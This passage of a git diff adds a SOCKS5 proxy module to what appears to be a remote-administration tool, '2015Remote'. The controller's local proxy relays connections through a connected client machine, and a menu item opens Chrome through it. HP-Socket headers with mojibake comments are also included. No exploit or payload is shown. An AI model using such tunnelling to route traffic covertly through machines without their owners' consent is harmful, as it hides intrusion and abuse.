HSC_CONFLICT = 409, + HSC_GONE = 410, + HSC_LENGTH_REQUIRED = 411, + HSC_PRECONDITION_FAILED = 412, + HSC_REQUEST_ENTITY_TOO_LARGE = 413, + HSC_REQUEST_URI_TOO_LONG = 414, + HSC_UNSUPPORTED_MEDIA_TYPE = 415, + HSC_REQUESTED_RANGE_NOT_SATISFIABLE = 416, + HSC_EXPECTATION_FAILED = 417, + HSC_IM_A_TEAPOT = 418, + HSC_PAGE_EXPIRED = 419, + HSC_ENHANCE_YOUR_CALM = 420, + HSC_MISDIRECTED_REQUEST = 421, + HSC_UNPROCESSABLE_ENTITY = 422, + HSC_LOCKED = 423, + HSC_FAILED_DEPENDENCY = 424, + HSC_UNORDERED_COLLECTION = 425, + HSC_UPGRADE_REQUIRED = 426, + HSC_PRECONDITION_REQUIRED = 428, + HSC_TOO_MANY_REQUESTS = 429, + HSC_REQUEST_HEADER_FIELDS_TOO_LARGE_UNOFFICIAL = 430, + HSC_REQUEST_HEADER_FIELDS_TOO_LARGE = 431, + HSC_LOGIN_TIMEOUT = 440, + HSC_NO_RESPONSE = 444, + HSC_RETRY_WITH = 449, + HSC_BLOCKED_BY_PARENTAL_CONTROL = 450, + HSC_UNAVAILABLE_FOR_LEGAL_REASONS = 451, + HSC_CLIENT_CLOSED_LOAD_BALANCED_REQUEST = 460, + HSC_INVALID_X_FORWARDED_FOR = 463, + HSC_REQUEST_HEADER_TOO_LARGE = 494, + HSC_SSL_CERTIFICATE_ERROR = 495, + HSC_SSL_CERTIFICATE_REQUIRED = 496, + HSC_HTTP_REQUEST_SENT_TO_HTTPS_PORT = 497, + HSC_INVALID_TOKEN = 498, + HSC_CLIENT_CLOSED_REQUEST = 499, + + HSC_INTERNAL_SERVER_ERROR = 500, + HSC_NOT_IMPLEMENTED = 501, + HSC_BAD_GATEWAY = 502, + HSC_SERVICE_UNAVAILABLE = 503, + HSC_GATEWAY_TIMEOUT = 504, + HSC_HTTP_VERSION_NOT_SUPPORTED = 505, + HSC_VARIANT_ALSO_NEGOTIATES = 506, + HSC_INSUFFICIENT_STORAGE = 507, + HSC_LOOP_DETECTED = 508, + HSC_BANDWIDTH_LIMIT_EXCEEDED = 509, + HSC_NOT_EXTENDED = 510, + HSC_NETWORK_AUTHENTICATION_REQUIRED = 511, + HSC_WEB_SERVER_UNKNOWN_ERROR = 520, + HSC_WEB_SERVER_IS_DOWN = 521, + HSC_CONNECTION_TIMEOUT = 522, + HSC_ORIGIN_IS_UNREACHABLE = 523, + HSC_TIMEOUT_OCCURED = 524, + HSC_SSL_HANDSHAKE_FAILED = 525, + HSC_INVALID_SSL_CERTIFICATE = 526, + HSC_RAILGUN_ERROR = 527, + HSC_SITE_IS_OVERLOADED = 529, + HSC_SITE_IS_FROZEN = 530, + HSC_IDENTITY_PROVIDER_AUTHENTICATION_ERROR = 561, + HSC_NETWORK_READ_TIMEOUT = 598, + HSC_NETWORK_CONNECT_TIMEOUT = 599, + + HSC_UNPARSEABLE_RESPONSE_HEADERS = 600 +} En_HP_HttpStatusCode; + +/************************************************************************ +鍚嶇О锛歂ame/Value 缁撴瀯浣 +鎻忚堪锛氬瓧绗︿覆鍚嶅煎缁撴瀯浣 +************************************************************************/ +typedef struct TNVPair +{ + LPCSTR name; + LPCSTR value; +} HP_TNVPair, +TParam, HP_TParam, *LPPARAM, *HP_LPPARAM, +THeader, HP_THeader, *LPHEADER, *HP_LPHEADER, +TCookie, HP_TCookie, *LPCOOKIE, *HP_LPCOOKIE; + +#endif + +/*****************************************************************************************************************************************************/ +/********************************************************** Compress / Decompress Definitions ********************************************************/ +/*****************************************************************************************************************************************************/ + +/************************************************************************ +鍚嶇О锛氭暟鎹洖璋冨嚱鏁 +鎻忚堪锛氬洖璋冨鐞嗚繃绋嬩腑浜х敓鐨勬暟鎹緭鍑 +鍙傛暟锛 + pData -- 鏁版嵁缂撳啿鍖 + iLength -- 鏁版嵁闀垮害 + pContext -- 鍥炶皟涓婁笅鏂 + +杩斿洖鍊硷細 + TRUE -- 鎴愬姛 + FALSE -- 澶辫触 + +************************************************************************/ +typedef BOOL (__HP_CALL *Fn_DataCallback)(const BYTE* pData, int iLength, PVOID pContext); +typedef Fn_DataCallback Fn_CompressDataCallback; +typedef Fn_DataCallback Fn_DecompressDataCallback; +typedef Fn_DataCallback HP_Fn_DataCallback; +typedef Fn_DataCallback HP_Fn_CompressDataCallback; +typedef Fn_DataCallback HP_Fn_DecompressDataCallback; diff --git a/server/2015Remote/proxy/ProxyConnectServer.cpp b/server/2015Remote/proxy/ProxyConnectServer.cpp new file mode 100644 index 0000000..c675e6f --- /dev/null +++ b/server/2015Remote/proxy/ProxyConnectServer.cpp @@ -0,0 +1,222 @@ +#include "stdafx.h" +#include "ProxyConnectServer.h" + +#define MAX_SEND_BUFFER 65535 // 最大发送数据长度 1024*64 +#define MAX_RECV_BUFFER 65535 // 最大接收数据长度 + +CProxyConnectServer::CProxyConnectServer(void) :m_TcpServer(this) +{ + Mprintf("CProxyConnectServer\r\n"); + m_bIsRun = TRUE; + m_dwIndex = 0; + memset(m_IDs, 0, sizeof(m_IDs)); +} + + +CProxyConnectServer::~CProxyConnectServer(void) +{ + if (m_TcpServer->GetState() != SS_STOPPED) + m_TcpServer->Stop(); + while (m_TcpServer->GetState() != SS_STOPPED) { + Sleep(300); + } + Mprintf("~CProxyConnectServer\r\n"); +} + +BOOL CProxyConnectServer::Initialize(NOTIFYPROC pNotifyProc, void*user, int nMaxConnections, int nPort) +{ + m_nMaxConnection = nMaxConnections; + m_TcpServer->SetMaxConnectionCount(nMaxConnections); + m_TcpServer->SetSendPolicy(SP_DIRECT); + m_TcpServer->SetNoDelay(TRUE); + m_pNotifyProc = pNotifyProc; + m_pUser = user; + m_nPort = nPort; + m_bStop = FALSE; + return m_TcpServer->Start(_T("0.0.0.0"), nPort); +} + +EnHandleResult CProxyConnectServer::OnPrepareListen(ITcpServer* pSender, SOCKET soListen) +{ + SYS_SSO_SendBuffSize(soListen, MAX_SEND_BUFFER); + SYS_SSO_RecvBuffSize(soListen, MAX_RECV_BUFFER); + return HR_OK; +} + +EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient) +{ + if (!m_bIsRun)return HR_ERROR; + + ClientContext* pContext = NULL; + { + m_Locker.lock(); + if (!m_listFreePool.IsEmpty()) { + pContext = m_listFreePool.RemoveHead(); + } + else { + pContext = new(std::nothrow) ClientContext; + } + m_Locker.unlock(); + } + if (pContext == NULL) + return HR_ERROR; + + pContext->InitMember(); + pContext->m_Socket = dwConnID; + char szAddress[64] = {}; + int iAddressLen = sizeof(szAddress); + USHORT usPort = 0; + pSender->GetRemoteAddress(dwConnID, szAddress, iAddressLen, usPort); + Mprintf("CProxyConnectServer: new connection %s:%d\n", szAddress, usPort); + pContext->ID = dwConnID; + m_TcpServer->SetConnectionExtra(dwConnID, pContext); + m_pNotifyProc(m_pUser, pContext, NC_CLIENT_CONNECT); + return HR_OK; +} + +EnHandleResult CProxyConnectServer::OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength) +{ + return HR_OK; +} + +EnHandleResult CProxyConnectServer::OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength) +{ + ClientContext* pContext = NULL; + if ((!m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext)) && (pContext != nullptr) && (iLength <= 0)) + return HR_ERROR; + + PBYTE pData = new BYTE[iLength]; + m_TcpServer->Fetch(dwConnID, pData, iLength); + pContext->InDeCompressedBuffer.ClearBuffer(); + BYTE bToken = COMMAND_PROXY_DATA; + pContext->InDeCompressedBuffer.Write(&bToken, sizeof(bToken)); + pContext->InDeCompressedBuffer.Write((LPBYTE)&pContext->ID, sizeof(DWORD)); + pContext->InDeCompressedBuffer.Write((PBYTE)pData, iLength); + SAFE_DELETE_ARRAY(pData); + m_pNotifyProc(m_pUser, pContext, NC_RECEIVE); + return HR_OK; +} + +EnHandleResult CProxyConnectServer::OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode) +{ + ClientContext* pContext = NULL; + if (m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext) && pContext != nullptr) + m_TcpServer->SetConnectionExtra(dwConnID, NULL); + if (!pContext) + return HR_OK; + + m_pNotifyProc(m_pUser, pContext, NC_CLIENT_DISCONNECT); + pContext->InCompressedBuffer.ClearBuffer(); + pContext->InDeCompressedBuffer.ClearBuffer(); + pContext->OutCompressedBuffer.ClearBuffer(); + m_Locker.lock(); + m_listFreePool.AddTail(pContext); + m_Locker.unlock(); + return HR_OK; +} + +EnHandleResult CProxyConnectServer::OnShutdown(ITcpServer* pSender) +{ + return HR_OK; +} + + +BOOL CProxyConnectServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize) +{ + if (pContext == NULL) + return FALSE; + + BOOL rt = FALSE;; + if (nSize > 0 && m_bIsRun) { + pContext->OutCompressedBuffer.Write(lpData, nSize); + rt = SendWithSplit(pContext->m_Socket, pContext->OutCompressedBuffer.GetBuffer(0), + pContext->OutCompressedBuffer.GetBufferLength(), MAX_SEND_BUFFER); + pContext->OutCompressedBuffer.ClearBuffer(); + } + return rt; +} + + +BOOL CProxyConnectServer::SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize) +{ + int nSend = 0; + UINT nSendRetry = 0; + BOOL rt = TRUE; + if (nSize >= nSplitSize) { + UINT i = 0; + nSendRetry = nSize / nSplitSize; + for (i = 0; i < nSendRetry; i++) { + rt = m_TcpServer->Send(dwConnID, lpData, nSplitSize); + if (!rt) + return rt; + lpData += nSplitSize; + nSend += nSplitSize; + } + if (nSize - nSend < nSplitSize) { + if (nSize - nSend > 0) { + rt = m_TcpServer->Send(dwConnID, lpData, nSize - nSend); + if (!rt) + return rt; + } + } + } else { + rt = m_TcpServer->Send(dwConnID, lpData, nSize); + if (!rt) + return rt; + } + return TRUE; +} + + +void CProxyConnectServer::Shutdown() +{ + DWORD dwCount = 65535; + CONNID *pIDs = new CONNID[dwCount](); + BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount); + if (status && (dwCount > 0)) { + for (DWORD i = 0; i < dwCount; i++) { + Disconnect(pIDs[i]); + } + } + m_TcpServer->Stop(); + m_bIsRun = FALSE; + while (m_TcpServer->GetState() != SS_STOPPED) + Sleep(10); + + m_Locker.lock(); + while (!m_listFreePool.IsEmpty()) + delete m_listFreePool.RemoveTail(); + m_Locker.unlock(); + + SAFE_DELETE_ARRAY(pIDs); +} + +void CProxyConnectServer::ClearClient() +{ + DWORD dwCount = 65535; + CONNID* pIDs = new CONNID[dwCount](); + BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount); + if (status && (dwCount > 0)) { + for (DWORD i = 0; i < dwCount; i++) { + m_TcpServer->Disconnect(pIDs[i]); + } + } + + SAFE_DELETE_ARRAY(pIDs); +} + +BOOL CProxyConnectServer::Disconnect(CONNID dwConnID) +{ + m_TcpServer->Disconnect(dwConnID); + return 0; +} + +BOOL CProxyConnectServer::IsConnected(CONNID dwConnID) +{ + return m_TcpServer->IsConnected(dwConnID); +} + +BOOL CProxyConnectServer::IsOverMaxConnectionCount() +{ + return (m_TcpServer->GetConnectionCount() > (DWORD)m_nMaxConnection); +} diff --git a/server/2015Remote/proxy/ProxyConnectServer.h b/server/2015Remote/proxy/ProxyConnectServer.h new file mode 100644 index 0000000..4a5c3cb --- /dev/null +++ b/server/2015Remote/proxy/ProxyConnectServer.h @@ -0,0 +1,51 @@ +#pragma once +#include "HPSocket.h" +#include "SocketInterface.h" +#include "Buffer.h" +#include + +#define NC_CLIENT_CONNECT 0x0001 +#define NC_CLIENT_DISCONNECT 0x0002 +#define NC_TRANSMIT 0x0003 +#define NC_RECEIVE 0x0004 + +typedef void (CALLBACK* NOTIFYPROC)(void* user, ClientContext* ctx, UINT nCode); + +typedef CList ContextList; + +class CProxyConnectServer :public CTcpPullServerListener +{ +public: + CProxyConnectServer(void); + ~CProxyConnectServer(void); + + BOOL Initialize(NOTIFYPROC pNotifyProc, void* user, int nMaxConnections, int nPort); + BOOL Send(ClientContext* pContext, LPBYTE lpData, UINT nSize); + BOOL SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize); + void Shutdown(); + void ClearClient(); + BOOL Disconnect(CONNID dwConnID); + BOOL IsConnected(CONNID dwConnID); + int IsOverMaxConnectionCount(); + + virtual EnHandleResult OnPrepareListen(ITcpServer* pSender, SOCKET soListen); + virtual EnHandleResult OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient); + virtual EnHandleResult OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength); + virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength); + virtual EnHandleResult OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode); + virtual EnHandleResult OnShutdown(ITcpServer* pSender); + + CTcpPullServerPtr m_TcpServer; + +private: + NOTIFYPROC m_pNotifyProc; + void* m_pUser; + ContextList m_listFreePool; + CLock m_Locker; + int m_nPort; // 插件端口 + CONNID m_IDs[65535]; // 所有连接ID + LONG m_bStop; // 端口停止上线控制 + int m_nMaxConnection; // 最大连接数 + BOOL m_bIsRun; // 运行状态 + DWORD m_dwIndex; // 连接编号 +}; diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp new file mode 100644 index 0000000..d6fb8a5 --- /dev/null +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -0,0 +1,309 @@ +// ProxyMapDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "ProxyMapDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +///////////////////////////////////////////////////////////////////////////// +// CProxyMapDlg dialog + +#define IDM_PROXY_CHROME 8000 + +CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) + : CDialog(CProxyMapDlg::IDD, pParent) +{ + m_iocpServer = pIOCPServer; + m_ContextObject = pContext; + m_iocpLocal = NULL; + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier)); + m_bIsClose = false; +} + +void CProxyMapDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT, m_Edit); + DDX_Control(pDX, IDC_EDIT_OTHER, m_EditOther); +} + +BEGIN_MESSAGE_MAP(CProxyMapDlg, CDialog) + ON_WM_SYSCOMMAND() + ON_WM_SIZE() +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// + +BOOL CProxyMapDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + // TODO: Add extra initialization here + m_iocpLocal = new CProxyConnectServer; + + if (m_iocpLocal == NULL) { + return FALSE; + } + + m_Edit.SetLimitText(MAXDWORD); + m_EditOther.SetLimitText(MAXDWORD); + CString str; + + // 开启IPCP服务器 + m_nPort = 5543; + if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { + AfxMessageBox("初始化代理服务器失败!"); + return FALSE; + } + TCHAR ip[256] = {}; + int len = sizeof(ip); + m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort); + + CString strString; + sockaddr_in ClientAddress; + memset(&ClientAddress, 0, sizeof(ClientAddress)); + int iClientAddressLength = sizeof(ClientAddress); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength); + strString.Format("%s - 代理服务", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); + SetWindowText(strString); + + str.Format(_T("SOCKS 代理软件请设置服务器为: <127.0.0.1:%d>\r\n"), m_nPort); + AddLog(str.GetBuffer(0)); + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("代理打开Chrome(请关闭所有Chrome进程)(&P)")); + } + + return TRUE; +} + +void CProxyMapDlg::OnCancel() +{ + if (m_bIsClose) return; + + m_bIsClose = true; + m_iocpServer->Disconnect(m_ContextObject); + DestroyIcon(m_hIcon); + m_iocpLocal->Shutdown(); + SAFE_DELETE(m_iocpLocal); + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + Sleep(50); + if (IsWindow(m_hWnd)) + DestroyWindow(); +} + +void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode) +{ + CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user; + if (g_pProxyMap->m_bIsClose) return; + + DWORD index = pContext->ID; + TCHAR szMsg[200] = { 0 }; + try { + switch (nCode) { + case NC_CLIENT_CONNECT: + wsprintf(szMsg, _T("%d 新连接\r\n"), index); + break; + case NC_CLIENT_DISCONNECT: + if (pContext->m_bProxyConnected) { + BYTE lpData[5] = ""; + lpData[0] = COMMAND_PROXY_CLOSE; + memcpy(lpData + 1, &index, sizeof(DWORD)); + g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5); + } + wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index); + break; + case NC_TRANSMIT: + break; + case NC_RECEIVE: + if (pContext->m_bProxyConnected == 2) { + g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0), + pContext->InDeCompressedBuffer.GetBufferLength()); + wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5); + } else if (pContext->m_bProxyConnected == 0) { + char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK + LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5); + pContext->m_bProxyConnected = 1; + g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok)); + wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]); + } else if (pContext->m_bProxyConnected == 1) { + LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5); + BYTE buf[11] = {}; + if (lpData[0] == 5 && lpData[1] == 1 && (pContext->InDeCompressedBuffer.GetBufferLength() > 10)) { + if (lpData[3] == 1) { // ipv4 + buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接 + memcpy(buf + 1, &index, 4); // 四个字节 套接字的编号 + memcpy(buf + 5, lpData + 4, 6); // 4字节ip 2字节端口 + g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf)); + in_addr inaddr = {}; + inaddr.s_addr = *(DWORD*)(buf + 5); + char szmsg1[MAX_PATH]; + wsprintfA(szmsg1, "%d IPV4 连接 %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9))); + } else if (lpData[3] == 3) { // 域名 + Socks5Info* Socks5Request = (Socks5Info*)lpData; + BYTE* HostName = new BYTE[Socks5Request->IP_LEN + 8]; + ZeroMemory(HostName, Socks5Request->IP_LEN + 8); + HostName[0] = COMMAND_PROXY_CONNECT_HOSTNAME; + memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN); + memcpy(HostName + 1, &index, 4); + memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2); + g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8); + SAFE_DELETE_ARRAY(HostName); + wsprintf(szMsg, _T("域名 连接 %d \r\n"), index); + } else if (lpData[3] == 4) { //ipv6 + char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support + wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index); + g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok)); + g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket); + break; + } + } else { + buf[0] = 5; + buf[1] = 7; + buf[2] = 0; + buf[3] = lpData[3]; + g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf)); + g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket); + wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]); + } + } + break; + } + } catch (...) {} + if (szMsg[0]) + g_pProxyMap->AddLog_other(szMsg); + return; +} + +void CProxyMapDlg::OnReceive() +{ +} + +void CProxyMapDlg::OnReceiveComplete() +{ + if (m_iocpLocal == NULL) + return; + + if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose) + return; + + LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0); + DWORD index = *(DWORD*)&buf[1]; + TCHAR szMsg[200]; + switch (buf[0]) { + case TOKEN_PROXY_CONNECT_RESULT: { + char msg_request_co_ok[] = { 0X05, 0X00, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // Request connect OK + + BYTE sendbuf[10] = ""; + sendbuf[0] = 5; + sendbuf[1] = (buf[9] || buf[10]) ? 0 : 5; + sendbuf[2] = 0; + sendbuf[3] = 1; + memcpy(&sendbuf[4], &buf[5], 6); + + ClientContext* pContext_proxy = NULL; + if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) { + if (sendbuf[1] == 0) { + pContext_proxy->m_bProxyConnected = 2; + wsprintf(szMsg, _T("%d 连接成功\r\n"), index); + } else + wsprintf(szMsg, _T("%d 连接失败\r\n"), index); + m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf)); + AddLog(szMsg); + } + } + break; + case TOKEN_PROXY_BIND_RESULT: + break; + case TOKEN_PROXY_CLOSE: { + wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index); + + m_iocpLocal->Disconnect(index); + AddLog(szMsg); + } + break; + case TOKEN_PROXY_DATA: { + ClientContext* pContext_proxy = NULL; + BOOL ok = FALSE; + if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) { + ok = m_iocpLocal->Send(pContext_proxy, &buf[5], m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5); + if (ok == FALSE) { + wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index); + m_iocpLocal->Disconnect(index); + AddLog(szMsg); + return; + } + wsprintf(szMsg, _T("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5); + AddLog(szMsg); + } + } + break; + default: + // 传输发生异常数据 + break; + } +} + +void CProxyMapDlg::AddLog(TCHAR* lpText) +{ + if (m_bIsClose == TRUE) return; + m_Edit.SetSel(-1, -1); + m_Edit.ReplaceSel(lpText); +} + +void CProxyMapDlg::AddLog_other(TCHAR* lpText) +{ + if (m_bIsClose == TRUE) return; + m_EditOther.SetSel(-1, -1); + m_EditOther.ReplaceSel(lpText); +} + +void CProxyMapDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + // TODO: Add your message handler code here + if (!IsWindowVisible()) + return; + + RECT rectClient; + RECT rectEdit = {}; + GetClientRect(&rectClient); + rectEdit.left = 0; + rectEdit.top = 0; + rectEdit.right = rectClient.right; + rectEdit.bottom = rectClient.bottom; + m_Edit.MoveWindow(&rectEdit); +} + +void CProxyMapDlg::PostNcDestroy() +{ + if (!m_bIsClose) + OnCancel(); + CDialog::PostNcDestroy(); + delete this; +} + + +void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + CMenu* pSysMenu = GetSystemMenu(FALSE); + switch (nID) { + case IDM_PROXY_CHROME: { + CString strCommand; + strCommand.Format(_T(" /c start chrome.exe --show-app-list --proxy-server=\"SOCKS5://127.0.0.1:%d\""), m_nPort); + ShellExecute(NULL, _T("open"), _T("cmd.exe"), strCommand, NULL, SW_SHOW); + } + break; + } + CDialog::OnSysCommand(nID, lParam); +} diff --git a/server/2015Remote/proxy/ProxyMapDlg.h b/server/2015Remote/proxy/ProxyMapDlg.h new file mode 100644 index 0000000..8a2257f --- /dev/null +++ b/server/2015Remote/proxy/ProxyMapDlg.h @@ -0,0 +1,64 @@ +#pragma once +#include "stdafx.h" +#include "ProxyConnectServer.h" +#include "Resource.h" + +#ifdef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "HPSocket_x64D.lib") +#else +#pragma comment(lib, "HPSocket_x64.lib") +#endif + +#else +#ifdef _DEBUG +#pragma comment(lib, "HPSocket_D.lib") +#else +#pragma comment(lib, "HPSocket.lib") +#endif + +#endif + +///////////////////////////////////////////////////////////////////////////// +// CProxyMapDlg dialog +typedef struct { + BYTE Ver; // Version Number + BYTE CMD; // 0x01==TCP CONNECT,0x02==TCP BIND,0x03==UDP ASSOCIATE + BYTE RSV; + BYTE ATYP; + BYTE IP_LEN; + BYTE szIP; +} Socks5Info; + +// 代理测试: curl --socks5 127.0.0.1:5543 https://www.example.com +class CProxyMapDlg : public CDialog +{ +public: + CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + + enum { IDD = IDD_PROXY }; + + static void CALLBACK NotifyProc(void* user, ClientContext* pContext, UINT nCode); + + void OnReceiveComplete(); + void OnReceive(); + void AddLog(TCHAR* lpText); + void AddLog_other(TCHAR* lpText); + virtual void DoDataExchange(CDataExchange* pDX); + virtual void PostNcDestroy(); + virtual void OnCancel(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + virtual BOOL OnInitDialog(); + afx_msg void OnSize(UINT nType, int cx, int cy); + DECLARE_MESSAGE_MAP() + +private: + ClientContext* m_ContextObject; + ISocketBase* m_iocpServer; + CProxyConnectServer* m_iocpLocal; + HICON m_hIcon; + bool m_bIsClose; + CEdit m_Edit; + USHORT m_nPort; + CEdit m_EditOther; +}; diff --git a/server/2015Remote/proxy/SocketInterface.h b/server/2015Remote/proxy/SocketInterface.h new file mode 100644 index 0000000..5e4ca5b --- /dev/null +++ b/server/2015Remote/proxy/SocketInterface.h @@ -0,0 +1,3113 @@ +锘/* + * Copyright: JessMA Open Source (ldcsaa@gmail.com) + * + * Author : Bruce Liang + * Website : https://github.com/ldcsaa + * Project : https://github.com/ldcsaa/HP-Socket + * Blog : http://www.cnblogs.com/ldcsaa + * Wiki : http://www.oschina.net/p/hp-socket + * QQ Group : 44636872, 75375912 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +#include "HPTypeDef.h" + +/*****************************************************************************************************************************************************/ +/***************************************************************** TCP/UDP Interfaces ****************************************************************/ +/*****************************************************************************************************************************************************/ + +/************************************************************************ +鍚嶇О锛氬弻鎺ュ彛妯$増绫 +鎻忚堪锛氬畾涔夊弻鎺ュ彛杞崲鏂规硶 +************************************************************************/ + +#if FALSE + +#define __DUAL_VPTR_GAP__ sizeof(PVOID) + +class __IFakeDualInterface__ +{ +public: + virtual ~__IFakeDualInterface__() {} +}; + +template class DualInterface : public F, private __IFakeDualInterface__, public S + +#else + +#define __DUAL_VPTR_GAP__ 0 + +template class DualInterface : public F, public S + +#endif + +{ +public: + + /* this 杞崲涓 F* */ + inline static F* ToF(DualInterface* pThis) + { + return (F*)(pThis); + } + + /* F* 杞崲涓 this */ + inline static DualInterface* FromF(F* pF) + { + return (DualInterface*)(pF); + } + + /* this 杞崲涓 S* */ + inline static S* ToS(DualInterface* pThis) + { + return (S*)(F2S(ToF(pThis))); + } + + /* S* 杞崲涓 this */ + inline static DualInterface* FromS(S* pS) + { + return FromF(S2F(pS)); + } + + /* S* 杞崲涓 F* */ + inline static F* S2F(S* pS) + { + return (F*)((char*)pS - (sizeof(F) + __DUAL_VPTR_GAP__)); + } + + /* F* 杞崲涓 S* */ + inline static S* F2S(F* pF) + { + return (S*)((char*)pF + (sizeof(F) + __DUAL_VPTR_GAP__)); + } + +public: + virtual ~DualInterface() {} +}; + +/************************************************************************ +鍚嶇О锛氬鍚 Socket 缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔夊鍚 Socket 缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉曪紝澶嶅悎 Socket 缁勪欢鍚屾椂绠$悊澶氫釜 Socket 杩炴帴 +************************************************************************/ +class IComplexSocket +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬叧闂氫俊缁勪欢 + * 鎻忚堪锛氬叧闂氫俊缁勪欢锛屽叧闂畬鎴愬悗鏂紑鎵鏈夎繛鎺ュ苟閲婃斁鎵鏈夎祫婧 + * + * 鍙傛暟锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 